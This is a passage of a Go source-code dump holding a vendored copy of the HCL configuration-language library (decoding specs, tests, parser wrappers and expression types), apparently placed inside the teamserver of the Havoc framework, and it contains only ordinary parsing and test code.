ChildBlockTypes would not be decidable without evaluation. If // the default spec _does_ describe a nested block then the result is // undefined. type DefaultSpec struct { Primary Spec Default Spec } func (s *DefaultSpec) visitSameBodyChildren(cb visitFunc) { cb(s.Primary) cb(s.Default) } func (s *DefaultSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { val, diags := s.Primary.decode(content, blockLabels, ctx) if val.IsNull() { var moreDiags hcl.Diagnostics val, moreDiags = s.Default.decode(content, blockLabels, ctx) diags = append(diags, moreDiags...) } return val, diags } func (s *DefaultSpec) impliedType() cty.Type { return s.Primary.impliedType() } // attrSpec implementation func (s *DefaultSpec) attrSchemata() []hcl.AttributeSchema { // We must pass through the union of both of our nested specs so that // we'll have both values available in the result. var ret []hcl.AttributeSchema if as, ok := s.Primary.(attrSpec); ok { ret = append(ret, as.attrSchemata()...) } if as, ok := s.Default.(attrSpec); ok { ret = append(ret, as.attrSchemata()...) } return ret } // blockSpec implementation func (s *DefaultSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema { // Only the primary spec may describe a block, since otherwise // our nestedSpec method below can't know which to return. if bs, ok := s.Primary.(blockSpec); ok { return bs.blockHeaderSchemata() } return nil } // blockSpec implementation func (s *DefaultSpec) nestedSpec() Spec { if bs, ok := s.Primary.(blockSpec); ok { return bs.nestedSpec() } return nil } func (s *DefaultSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { // We can't tell from here which of the two specs will ultimately be used // in our result, so we'll just assume the first. This is usually the right // choice because the default is often a literal spec that doesn't have a // reasonable source range to return anyway. return s.Primary.sourceRange(content, blockLabels) } // TransformExprSpec is a spec that wraps another and then evaluates a given // hcl.Expression on the result. // // The implied type of this spec is determined by evaluating the expression // with an unknown value of the nested spec's implied type, which may cause // the result to be imprecise. This spec should not be used in situations where // precise result type information is needed. type TransformExprSpec struct { Wrapped Spec Expr hcl.Expression TransformCtx *hcl.EvalContext VarName string } func (s *TransformExprSpec) visitSameBodyChildren(cb visitFunc) { cb(s.Wrapped) } func (s *TransformExprSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { wrappedVal, diags := s.Wrapped.decode(content, blockLabels, ctx) if diags.HasErrors() { // We won't try to run our function in this case, because it'll probably // generate confusing additional errors that will distract from the // root cause. return cty.UnknownVal(s.impliedType()), diags } chiCtx := s.TransformCtx.NewChild() chiCtx.Variables = map[string]cty.Value{ s.VarName: wrappedVal, } resultVal, resultDiags := s.Expr.Value(chiCtx) diags = append(diags, resultDiags...) return resultVal, diags } func (s *TransformExprSpec) impliedType() cty.Type { wrappedTy := s.Wrapped.impliedType() chiCtx := s.TransformCtx.NewChild() chiCtx.Variables = map[string]cty.Value{ s.VarName: cty.UnknownVal(wrappedTy), } resultVal, _ := s.Expr.Value(chiCtx) return resultVal.Type() } func (s *TransformExprSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { // We'll just pass through our wrapped range here, even though that's // not super-accurate, because there's nothing better to return. return s.Wrapped.sourceRange(content, blockLabels) } // TransformFuncSpec is a spec that wraps another and then evaluates a given // cty function with the result. The given function must expect exactly one // argument, where the result of the wrapped spec will be passed. // // The implied type of this spec is determined by type-checking the function // with an unknown value of the nested spec's implied type, which may cause // the result to be imprecise. This spec should not be used in situations where // precise result type information is needed. // // If the given function produces an error when run, this spec will produce // a non-user-actionable diagnostic message. It's the caller's responsibility // to ensure that the given function cannot fail for any non-error result // of the wrapped spec. type TransformFuncSpec struct { Wrapped Spec Func function.Function } func (s *TransformFuncSpec) visitSameBodyChildren(cb visitFunc) { cb(s.Wrapped) } func (s *TransformFuncSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { wrappedVal, diags := s.Wrapped.decode(content, blockLabels, ctx) if diags.HasErrors() { // We won't try to run our function in this case, because it'll probably // generate confusing additional errors that will distract from the // root cause. return cty.UnknownVal(s.impliedType()), diags } resultVal, err := s.Func.Call([]cty.Value{wrappedVal}) if err != nil { // This is not a good example of a diagnostic because it is reporting // a programming error in the calling application, rather than something // an end-user could act on. diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Transform function failed", Detail: fmt.Sprintf("Decoder transform returned an error: %s", err), Subject: s.sourceRange(content, blockLabels).Ptr(), }) return cty.UnknownVal(s.impliedType()), diags } return resultVal, diags } func (s *TransformFuncSpec) impliedType() cty.Type { wrappedTy := s.Wrapped.impliedType() resultTy, err := s.Func.ReturnType([]cty.Type{wrappedTy}) if err != nil { // Should never happen with a correctly-configured spec return cty.DynamicPseudoType } return resultTy } func (s *TransformFuncSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { // We'll just pass through our wrapped range here, even though that's // not super-accurate, because there's nothing better to return. return s.Wrapped.sourceRange(content, blockLabels) } // ValidateFuncSpec is a spec that allows for extended // developer-defined validation. The validation function receives the // result of the wrapped spec. // // The Subject field of the returned Diagnostic is optional. If not // specified, it is automatically populated with the range covered by // the wrapped spec. // type ValidateSpec struct { Wrapped Spec Func func(value cty.Value) hcl.Diagnostics } func (s *ValidateSpec) visitSameBodyChildren(cb visitFunc) { cb(s.Wrapped) } func (s *ValidateSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { wrappedVal, diags := s.Wrapped.decode(content, blockLabels, ctx) if diags.HasErrors() { // We won't try to run our function in this case, because it'll probably // generate confusing additional errors that will distract from the // root cause. return cty.UnknownVal(s.impliedType()), diags } validateDiags := s.Func(wrappedVal) // Auto-populate the Subject fields if they weren't set. for i := range validateDiags { if validateDiags[i].Subject == nil { validateDiags[i].Subject = s.sourceRange(content, blockLabels).Ptr() } } diags = append(diags, validateDiags...) return wrappedVal, diags } func (s *ValidateSpec) impliedType() cty.Type { return s.Wrapped.impliedType() } func (s *ValidateSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { return s.Wrapped.sourceRange(content, blockLabels) } // noopSpec is a placeholder spec that does nothing, used in situations where // a non-nil placeholder spec is required. It is not exported because there is // no reason to use it directly; it is always an implementation detail only. type noopSpec struct { } func (s noopSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { return cty.NullVal(cty.DynamicPseudoType), nil } func (s noopSpec) impliedType() cty.Type { return cty.DynamicPseudoType } func (s noopSpec) visitSameBodyChildren(cb visitFunc) { // nothing to do } func (s noopSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { // No useful range for a noopSpec, and nobody should be calling this anyway. return hcl.Range{ Filename: "noopSpec", } } ================================================ FILE: teamserver/pkg/profile/yaotl/hcldec/spec_test.go ================================================ package hcldec import ( "fmt" "reflect" "testing" "github.com/apparentlymart/go-dump/dump" "github.com/zclconf/go-cty/cty" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" ) // Verify that all of our spec types implement the necessary interfaces var _ Spec = ObjectSpec(nil) var _ Spec = TupleSpec(nil) var _ Spec = (*AttrSpec)(nil) var _ Spec = (*LiteralSpec)(nil) var _ Spec = (*ExprSpec)(nil) var _ Spec = (*BlockSpec)(nil) var _ Spec = (*BlockListSpec)(nil) var _ Spec = (*BlockSetSpec)(nil) var _ Spec = (*BlockMapSpec)(nil) var _ Spec = (*BlockAttrsSpec)(nil) var _ Spec = (*BlockLabelSpec)(nil) var _ Spec = (*DefaultSpec)(nil) var _ Spec = (*TransformExprSpec)(nil) var _ Spec = (*TransformFuncSpec)(nil) var _ Spec = (*ValidateSpec)(nil) var _ attrSpec = (*AttrSpec)(nil) var _ attrSpec = (*DefaultSpec)(nil) var _ blockSpec = (*BlockSpec)(nil) var _ blockSpec = (*BlockListSpec)(nil) var _ blockSpec = (*BlockSetSpec)(nil) var _ blockSpec = (*BlockMapSpec)(nil) var _ blockSpec = (*BlockAttrsSpec)(nil) var _ blockSpec = (*DefaultSpec)(nil) var _ specNeedingVariables = (*AttrSpec)(nil) var _ specNeedingVariables = (*BlockSpec)(nil) var _ specNeedingVariables = (*BlockListSpec)(nil) var _ specNeedingVariables = (*BlockSetSpec)(nil) var _ specNeedingVariables = (*BlockMapSpec)(nil) var _ specNeedingVariables = (*BlockAttrsSpec)(nil) func TestDefaultSpec(t *testing.T) { config := ` foo = fooval bar = barval ` f, diags := hclsyntax.ParseConfig([]byte(config), "", hcl.Pos{Line: 1, Column: 1}) if diags.HasErrors() { t.Fatal(diags.Error()) } t.Run("primary set", func(t *testing.T) { spec := &DefaultSpec{ Primary: &AttrSpec{ Name: "foo", Type: cty.String, }, Default: &AttrSpec{ Name: "bar", Type: cty.String, }, } gotVars := Variables(f.Body, spec) wantVars := []hcl.Traversal{ { hcl.TraverseRoot{ Name: "fooval", SrcRange: hcl.Range{ Filename: "", Start: hcl.Pos{Line: 2, Column: 7, Byte: 7}, End: hcl.Pos{Line: 2, Column: 13, Byte: 13}, }, }, }, { hcl.TraverseRoot{ Name: "barval", SrcRange: hcl.Range{ Filename: "", Start: hcl.Pos{Line: 3, Column: 7, Byte: 20}, End: hcl.Pos{Line: 3, Column: 13, Byte: 26}, }, }, }, } if !reflect.DeepEqual(gotVars, wantVars) { t.Errorf("wrong Variables result\ngot: %s\nwant: %s", dump.Value(gotVars), dump.Value(wantVars)) } ctx := &hcl.EvalContext{ Variables: map[string]cty.Value{ "fooval": cty.StringVal("foo value"), "barval": cty.StringVal("bar value"), }, } got, err := Decode(f.Body, spec, ctx) if err != nil { t.Fatal(err) } want := cty.StringVal("foo value") if !got.RawEquals(want) { t.Errorf("wrong Decode result\ngot: %#v\nwant: %#v", got, want) } }) t.Run("primary not set", func(t *testing.T) { spec := &DefaultSpec{ Primary: &AttrSpec{ Name: "foo", Type: cty.String, }, Default: &AttrSpec{ Name: "bar", Type: cty.String, }, } ctx := &hcl.EvalContext{ Variables: map[string]cty.Value{ "fooval": cty.NullVal(cty.String), "barval": cty.StringVal("bar value"), }, } got, err := Decode(f.Body, spec, ctx) if err != nil { t.Fatal(err) } want := cty.StringVal("bar value") if !got.RawEquals(want) { t.Errorf("wrong Decode result\ngot: %#v\nwant: %#v", got, want) } }) } func TestValidateFuncSpec(t *testing.T) { config := ` foo = "invalid" ` f, diags := hclsyntax.ParseConfig([]byte(config), "", hcl.Pos{Line: 1, Column: 1}) if diags.HasErrors() { t.Fatal(diags.Error()) } expectRange := map[string]*hcl.Range{ "without_range": nil, "with_range": &hcl.Range{ Filename: "foobar", Start: hcl.Pos{Line: 99, Column: 99}, End: hcl.Pos{Line: 999, Column: 999}, }, } for name := range expectRange { t.Run(name, func(t *testing.T) { spec := &ValidateSpec{ Wrapped: &AttrSpec{ Name: "foo", Type: cty.String, }, Func: func(value cty.Value) hcl.Diagnostics { if value.AsString() != "invalid" { return hcl.Diagnostics{ &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "incorrect value", Detail: fmt.Sprintf("invalid value passed in: %s", value.GoString()), }, } } return hcl.Diagnostics{ &hcl.Diagnostic{ Severity: hcl.DiagWarning, Summary: "OK", Detail: "validation called correctly", Subject: expectRange[name], }, } }, } _, diags = Decode(f.Body, spec, nil) if len(diags) != 1 || diags[0].Severity != hcl.DiagWarning || diags[0].Summary != "OK" || diags[0].Detail != "validation called correctly" { t.Fatalf("unexpected diagnostics: %s", diags.Error()) } if expectRange[name] == nil && diags[0].Subject == nil { t.Fatal("returned diagnostic subject missing") } if expectRange[name] != nil && !reflect.DeepEqual(expectRange[name], diags[0].Subject) { t.Fatalf("expected range %s, got range %s", expectRange[name], diags[0].Subject) } }) } } ================================================ FILE: teamserver/pkg/profile/yaotl/hcldec/variables.go ================================================ package hcldec import ( "Havoc/pkg/profile/yaotl" ) // Variables processes the given body with the given spec and returns a // list of the variable traversals that would be required to decode // the same pairing of body and spec. // // This can be used to conditionally populate the variables in the EvalContext // passed to Decode, for applications where a static scope is insufficient. // // If the given body is not compliant with the given schema, the result may // be incomplete, but that's assumed to be okay because the eventual call // to Decode will produce error diagnostics anyway. func Variables(body hcl.Body, spec Spec) []hcl.Traversal { var vars []hcl.Traversal schema := ImpliedSchema(spec) content, _, _ := body.PartialContent(schema) if vs, ok := spec.(specNeedingVariables); ok { vars = append(vars, vs.variablesNeeded(content)...) } var visitFn visitFunc visitFn = func(s Spec) { if vs, ok := s.(specNeedingVariables); ok { vars = append(vars, vs.variablesNeeded(content)...) } s.visitSameBodyChildren(visitFn) } spec.visitSameBodyChildren(visitFn) return vars } ================================================ FILE: teamserver/pkg/profile/yaotl/hcldec/variables_test.go ================================================ package hcldec import ( "fmt" "reflect" "testing" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" "github.com/zclconf/go-cty/cty" ) func TestVariables(t *testing.T) { tests := []struct { config string spec Spec want []hcl.Traversal }{ { ``, &ObjectSpec{}, nil, }, { "a = foo\n", &ObjectSpec{}, nil, // "a" is not actually used, so "foo" is not required }, { "a = foo\n", &AttrSpec{ Name: "a", }, []hcl.Traversal{ { hcl.TraverseRoot{ Name: "foo", SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 5, Byte: 4}, End: hcl.Pos{Line: 1, Column: 8, Byte: 7}, }, }, }, }, }, { "a = foo\nb = bar\n", &DefaultSpec{ Primary: &AttrSpec{ Name: "a", }, Default: &AttrSpec{ Name: "b", }, }, []hcl.Traversal{ { hcl.TraverseRoot{ Name: "foo", SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 5, Byte: 4}, End: hcl.Pos{Line: 1, Column: 8, Byte: 7}, }, }, }, { hcl.TraverseRoot{ Name: "bar", SrcRange: hcl.Range{ Start: hcl.Pos{Line: 2, Column: 5, Byte: 12}, End: hcl.Pos{Line: 2, Column: 8, Byte: 15}, }, }, }, }, }, { "a = foo\n", &ObjectSpec{ "a": &AttrSpec{ Name: "a", }, }, []hcl.Traversal{ { hcl.TraverseRoot{ Name: "foo", SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 5, Byte: 4}, End: hcl.Pos{Line: 1, Column: 8, Byte: 7}, }, }, }, }, }, { ` b { a = foo } `, &BlockSpec{ TypeName: "b", Nested: &AttrSpec{ Name: "a", }, }, []hcl.Traversal{ { hcl.TraverseRoot{ Name: "foo", SrcRange: hcl.Range{ Start: hcl.Pos{Line: 3, Column: 7, Byte: 11}, End: hcl.Pos{Line: 3, Column: 10, Byte: 14}, }, }, }, }, }, { ` b { a = foo b = bar } `, &BlockAttrsSpec{ TypeName: "b", ElementType: cty.String, }, []hcl.Traversal{ { hcl.TraverseRoot{ Name: "foo", SrcRange: hcl.Range{ Start: hcl.Pos{Line: 3, Column: 7, Byte: 11}, End: hcl.Pos{Line: 3, Column: 10, Byte: 14}, }, }, }, { hcl.TraverseRoot{ Name: "bar", SrcRange: hcl.Range{ Start: hcl.Pos{Line: 4, Column: 7, Byte: 21}, End: hcl.Pos{Line: 4, Column: 10, Byte: 24}, }, }, }, }, }, { ` b { a = foo } b { a = bar } c { a = baz } `, &BlockListSpec{ TypeName: "b", Nested: &AttrSpec{ Name: "a", }, }, []hcl.Traversal{ { hcl.TraverseRoot{ Name: "foo", SrcRange: hcl.Range{ Start: hcl.Pos{Line: 3, Column: 7, Byte: 11}, End: hcl.Pos{Line: 3, Column: 10, Byte: 14}, }, }, }, { hcl.TraverseRoot{ Name: "bar", SrcRange: hcl.Range{ Start: hcl.Pos{Line: 6, Column: 7, Byte: 27}, End: hcl.Pos{Line: 6, Column: 10, Byte: 30}, }, }, }, }, }, } for i, test := range tests { t.Run(fmt.Sprintf("%02d-%s", i, test.config), func(t *testing.T) { file, diags := hclsyntax.ParseConfig([]byte(test.config), "", hcl.Pos{Line: 1, Column: 1, Byte: 0}) if len(diags) != 0 { t.Errorf("wrong number of diagnostics from ParseConfig %d; want %d", len(diags), 0) for _, diag := range diags { t.Logf(" - %s", diag.Error()) } } body := file.Body got := Variables(body, test.spec) if !reflect.DeepEqual(got, test.want) { t.Errorf("wrong result\ngot: %#v\nwant: %#v", got, test.want) } }) } } ================================================ FILE: teamserver/pkg/profile/yaotl/hcled/doc.go ================================================ // Package hcled provides functionality intended to help an application // that embeds HCL to deliver relevant information to a text editor or IDE // for navigating around and analyzing configuration files. package hcled ================================================ FILE: teamserver/pkg/profile/yaotl/hcled/navigation.go ================================================ package hcled import ( "Havoc/pkg/profile/yaotl" ) type contextStringer interface { ContextString(offset int) string } // ContextString returns a string describing the context of the given byte // offset, if available. An empty string is returned if no such information // is available, or otherwise the returned string is in a form that depends // on the language used to write the referenced file. func ContextString(file *hcl.File, offset int) string { if cser, ok := file.Nav.(contextStringer); ok { return cser.ContextString(offset) } return "" } type contextDefRanger interface { ContextDefRange(offset int) hcl.Range } func ContextDefRange(file *hcl.File, offset int) hcl.Range { if cser, ok := file.Nav.(contextDefRanger); ok { defRange := cser.ContextDefRange(offset) if !defRange.Empty() { return defRange } } return file.Body.MissingItemRange() } ================================================ FILE: teamserver/pkg/profile/yaotl/hclparse/parser.go ================================================ // Package hclparse has the main API entry point for parsing both HCL native // syntax and HCL JSON. // // The main HCL package also includes SimpleParse and SimpleParseFile which // can be a simpler interface for the common case where an application just // needs to parse a single file. The gohcl package simplifies that further // in its SimpleDecode function, which combines hcl.SimpleParse with decoding // into Go struct values // // Package hclparse, then, is useful for applications that require more fine // control over parsing or which need to load many separate files and keep // track of them for possible error reporting or other analysis. package hclparse import ( "fmt" "io/ioutil" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" "Havoc/pkg/profile/yaotl/json" ) // NOTE: This is the public interface for parsing. The actual parsers are // in other packages alongside this one, with this package just wrapping them // to provide a unified interface for the caller across all supported formats. // Parser is the main interface for parsing configuration files. As well as // parsing files, a parser also retains a registry of all of the files it // has parsed so that multiple attempts to parse the same file will return // the same object and so the collected files can be used when printing // diagnostics. // // Any diagnostics for parsing a file are only returned once on the first // call to parse that file. Callers are expected to collect up diagnostics // and present them together, so returning diagnostics for the same file // multiple times would create a confusing result. type Parser struct { files map[string]*hcl.File } // NewParser creates a new parser, ready to parse configuration files. func NewParser() *Parser { return &Parser{ files: map[string]*hcl.File{}, } } // ParseHCL parses the given buffer (which is assumed to have been loaded from // the given filename) as a native-syntax configuration file and returns the // hcl.File object representing it. func (p *Parser) ParseHCL(src []byte, filename string) (*hcl.File, hcl.Diagnostics) { if existing := p.files[filename]; existing != nil { return existing, nil } file, diags := hclsyntax.ParseConfig(src, filename, hcl.Pos{Byte: 0, Line: 1, Column: 1}) p.files[filename] = file return file, diags } // ParseHCLFile reads the given filename and parses it as a native-syntax HCL // configuration file. An error diagnostic is returned if the given file // cannot be read. func (p *Parser) ParseHCLFile(filename string) (*hcl.File, hcl.Diagnostics) { if existing := p.files[filename]; existing != nil { return existing, nil } src, err := ioutil.ReadFile(filename) if err != nil { return nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Failed to read file", Detail: fmt.Sprintf("The configuration file %q could not be read.", filename), }, } } return p.ParseHCL(src, filename) } // ParseJSON parses the given JSON buffer (which is assumed to have been loaded // from the given filename) and returns the hcl.File object representing it. func (p *Parser) ParseJSON(src []byte, filename string) (*hcl.File, hcl.Diagnostics) { if existing := p.files[filename]; existing != nil { return existing, nil } file, diags := json.Parse(src, filename) p.files[filename] = file return file, diags } // ParseJSONFile reads the given filename and parses it as JSON, similarly to // ParseJSON. An error diagnostic is returned if the given file cannot be read. func (p *Parser) ParseJSONFile(filename string) (*hcl.File, hcl.Diagnostics) { if existing := p.files[filename]; existing != nil { return existing, nil } file, diags := json.ParseFile(filename) p.files[filename] = file return file, diags } // AddFile allows a caller to record in a parser a file that was parsed some // other way, thus allowing it to be included in the registry of sources. func (p *Parser) AddFile(filename string, file *hcl.File) { p.files[filename] = file } // Sources returns a map from filenames to the raw source code that was // read from them. This is intended to be used, for example, to print // diagnostics with contextual information. // // The arrays underlying the returned slices should not be modified. func (p *Parser) Sources() map[string][]byte { ret := make(map[string][]byte) for fn, f := range p.files { ret[fn] = f.Bytes } return ret } // Files returns a map from filenames to the File objects produced from them. // This is intended to be used, for example, to print diagnostics with // contextual information. // // The returned map and all of the objects it refers to directly or indirectly // must not be modified. func (p *Parser) Files() map[string]*hcl.File { return p.files } ================================================ FILE: teamserver/pkg/profile/yaotl/hclsimple/hclsimple.go ================================================ // Package hclsimple is a higher-level entry point for loading HCL // configuration files directly into Go struct values in a single step. // // This package is more opinionated than the rest of the HCL API. See the // documentation for function Decode for more information. package hclsimple import ( "fmt" "io/ioutil" "os" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/gohcl" "Havoc/pkg/profile/yaotl/hclsyntax" ) // Decode parses, decodes, and evaluates expressions in the given HCL source // code, in a single step. // // The main HCL API is built to allow applications that need to decompose // the processing steps into a pipeline, with different tasks done by // different parts of the program: parsing the source code into an abstract // representation, analysing the block structure, evaluating expressions, // and then extracting the results into a form consumable by the rest of // the program. // // This function does all of those steps in one call, going directly from // source code to a populated Go struct value. // // The "filename" and "src" arguments describe the input configuration. The // filename is used to add source location context to any returned error // messages and its suffix will choose one of the two supported syntaxes: // ".hcl" for native syntax, and ".json" for HCL JSON. The src must therefore // contain a sequence of bytes that is valid for the selected syntax. // // The "ctx" argument provides variables and functions for use during // expression evaluation. Applications that need no variables nor functions // can just pass nil. // // The "target" argument must be a pointer to a value of a struct type, // with struct tags as defined by the sibling package "gohcl". // // The return type is error but any non-nil error is guaranteed to be // type-assertable to hcl.Diagnostics for applications that wish to access // the full error details. // // This is a very opinionated function that is intended to serve the needs of // applications that are just using HCL for simple configuration and don't // need detailed control over the decoding process. Because this function is // just wrapping functionality elsewhere, if it doesn't meet your needs then // please consider copying it into your program and adapting it as needed. func Decode(filename string, src []byte, ctx *hcl.EvalContext, target interface{}) error { var file *hcl.File var diags hcl.Diagnostics file, diags = hclsyntax.ParseConfig(src, filename, hcl.Pos{Line: 1, Column: 1}) if diags.HasErrors() { return diags } diags = gohcl.DecodeBody(file.Body, ctx, target) if diags.HasErrors() { return diags } return nil } // DecodeFile is a wrapper around Decode that first reads the given filename // from disk. See the Decode documentation for more information. func DecodeFile(filename string, ctx *hcl.EvalContext, target interface{}) error { src, err := ioutil.ReadFile(filename) if err != nil { if os.IsNotExist(err) { return hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Configuration file not found", Detail: fmt.Sprintf("The configuration file %s does not exist.", filename), }, } } return hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Failed to read configuration", Detail: fmt.Sprintf("Can't read %s: %s.", filename, err), }, } } return Decode(filename, src, ctx, target) } ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/diagnostics.go ================================================ package hclsyntax import ( "Havoc/pkg/profile/yaotl" ) // setDiagEvalContext is an internal helper that will impose a particular // EvalContext on a set of diagnostics in-place, for any diagnostic that // does not already have an EvalContext set. // // We generally expect diagnostics to be immutable, but this is safe to use // on any Diagnostics where none of the contained Diagnostic objects have yet // been seen by a caller. Its purpose is to apply additional context to a // set of diagnostics produced by a "deeper" component as the stack unwinds // during expression evaluation. func setDiagEvalContext(diags hcl.Diagnostics, expr hcl.Expression, ctx *hcl.EvalContext) { for _, diag := range diags { if diag.Expression == nil { diag.Expression = expr diag.EvalContext = ctx } } } ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/didyoumean.go ================================================ package hclsyntax import ( "github.com/agext/levenshtein" ) // nameSuggestion tries to find a name from the given slice of suggested names // that is close to the given name and returns it if found. If no suggestion // is close enough, returns the empty string. // // The suggestions are tried in order, so earlier suggestions take precedence // if the given string is similar to two or more suggestions. // // This function is intended to be used with a relatively-small number of // suggestions. It's not optimized for hundreds or thousands of them. func nameSuggestion(given string, suggestions []string) string { for _, suggestion := range suggestions { dist := levenshtein.Distance(given, suggestion, nil) if dist < 3 { // threshold determined experimentally return suggestion } } return "" } ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/doc.go ================================================ // Package hclsyntax contains the parser, AST, etc for HCL's native language, // as opposed to the JSON variant. // // In normal use applications should rarely depend on this package directly, // instead preferring the higher-level interface of the main hcl package and // its companion package hclparse. package hclsyntax ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/expression.go ================================================ package hclsyntax import ( "fmt" "sync" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/ext/customdecode" "github.com/zclconf/go-cty/cty" "github.com/zclconf/go-cty/cty/convert" "github.com/zclconf/go-cty/cty/function" ) // Expression is the abstract type for nodes that behave as HCL expressions. type Expression interface { Node // The hcl.Expression methods are duplicated here, rather than simply // embedded, because both Node and hcl.Expression have a Range method // and so they conflict. Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) Variables() []hcl.Traversal StartRange() hcl.Range } // Assert that Expression implements hcl.Expression var assertExprImplExpr hcl.Expression = Expression(nil) // ParenthesesExpr represents an expression written in grouping // parentheses. // // The parser takes care of the precedence effect of the parentheses, so the // only purpose of this separate expression node is to capture the source range // of the parentheses themselves, rather than the source range of the // expression within. All of the other expression operations just pass through // to the underlying expression. type ParenthesesExpr struct { Expression SrcRange hcl.Range } var _ hcl.Expression = (*ParenthesesExpr)(nil) func (e *ParenthesesExpr) Range() hcl.Range { return e.SrcRange } func (e *ParenthesesExpr) walkChildNodes(w internalWalkFunc) { // We override the walkChildNodes from the embedded Expression to // ensure that both the parentheses _and_ the content are visible // in a walk. w(e.Expression) } // LiteralValueExpr is an expression that just always returns a given value. type LiteralValueExpr struct { Val cty.Value SrcRange hcl.Range } func (e *LiteralValueExpr) walkChildNodes(w internalWalkFunc) { // Literal values have no child nodes } func (e *LiteralValueExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { return e.Val, nil } func (e *LiteralValueExpr) Range() hcl.Range { return e.SrcRange } func (e *LiteralValueExpr) StartRange() hcl.Range { return e.SrcRange } // Implementation for hcl.AbsTraversalForExpr. func (e *LiteralValueExpr) AsTraversal() hcl.Traversal { // This one's a little weird: the contract for AsTraversal is to interpret // an expression as if it were traversal syntax, and traversal syntax // doesn't have the special keywords "null", "true", and "false" so these // are expected to be treated like variables in that case. // Since our parser already turned them into LiteralValueExpr by the time // we get here, we need to undo this and infer the name that would've // originally led to our value. // We don't do anything for any other values, since they don't overlap // with traversal roots. if e.Val.IsNull() { // In practice the parser only generates null values of the dynamic // pseudo-type for literals, so we can safely assume that any null // was originally the keyword "null". return hcl.Traversal{ hcl.TraverseRoot{ Name: "null", SrcRange: e.SrcRange, }, } } switch e.Val { case cty.True: return hcl.Traversal{ hcl.TraverseRoot{ Name: "true", SrcRange: e.SrcRange, }, } case cty.False: return hcl.Traversal{ hcl.TraverseRoot{ Name: "false", SrcRange: e.SrcRange, }, } default: // No traversal is possible for any other value. return nil } } // ScopeTraversalExpr is an Expression that retrieves a value from the scope // using a traversal. type ScopeTraversalExpr struct { Traversal hcl.Traversal SrcRange hcl.Range } func (e *ScopeTraversalExpr) walkChildNodes(w internalWalkFunc) { // Scope traversals have no child nodes } func (e *ScopeTraversalExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { val, diags := e.Traversal.TraverseAbs(ctx) setDiagEvalContext(diags, e, ctx) return val, diags } func (e *ScopeTraversalExpr) Range() hcl.Range { return e.SrcRange } func (e *ScopeTraversalExpr) StartRange() hcl.Range { return e.SrcRange } // Implementation for hcl.AbsTraversalForExpr. func (e *ScopeTraversalExpr) AsTraversal() hcl.Traversal { return e.Traversal } // RelativeTraversalExpr is an Expression that retrieves a value from another // value using a _relative_ traversal. type RelativeTraversalExpr struct { Source Expression Traversal hcl.Traversal SrcRange hcl.Range } func (e *RelativeTraversalExpr) walkChildNodes(w internalWalkFunc) { w(e.Source) } func (e *RelativeTraversalExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { src, diags := e.Source.Value(ctx) ret, travDiags := e.Traversal.TraverseRel(src) setDiagEvalContext(travDiags, e, ctx) diags = append(diags, travDiags...) return ret, diags } func (e *RelativeTraversalExpr) Range() hcl.Range { return e.SrcRange } func (e *RelativeTraversalExpr) StartRange() hcl.Range { return e.SrcRange } // Implementation for hcl.AbsTraversalForExpr. func (e *RelativeTraversalExpr) AsTraversal() hcl.Traversal { // We can produce a traversal only if our source can. st, diags := hcl.AbsTraversalForExpr(e.Source) if diags.HasErrors() { return nil } ret := make(hcl.Traversal, len(st)+len(e.Traversal)) copy(ret, st) copy(ret[len(st):], e.Traversal) return ret } // FunctionCallExpr is an Expression that calls a function from the EvalContext // and returns its result. type FunctionCallExpr struct { Name string Args []Expression // If true, the final argument should be a tuple, list or set which will // expand to be one argument per element. ExpandFinal bool NameRange hcl.Range OpenParenRange hcl.Range CloseParenRange hcl.Range } func (e *FunctionCallExpr) walkChildNodes(w internalWalkFunc) { for _, arg := range e.Args { w(arg) } } func (e *FunctionCallExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { var diags hcl.Diagnostics var f function.Function exists := false hasNonNilMap := false thisCtx := ctx for thisCtx != nil { if thisCtx.Functions == nil { thisCtx = thisCtx.Parent() continue } hasNonNilMap = true f, exists = thisCtx.Functions[e.Name] if exists { break } thisCtx = thisCtx.Parent() } if !exists { if !hasNonNilMap { return cty.DynamicVal, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Function calls not allowed", Detail: "Functions may not be called here.", Subject: e.Range().Ptr(), Expression: e, EvalContext: ctx, }, } } avail := make([]string, 0, 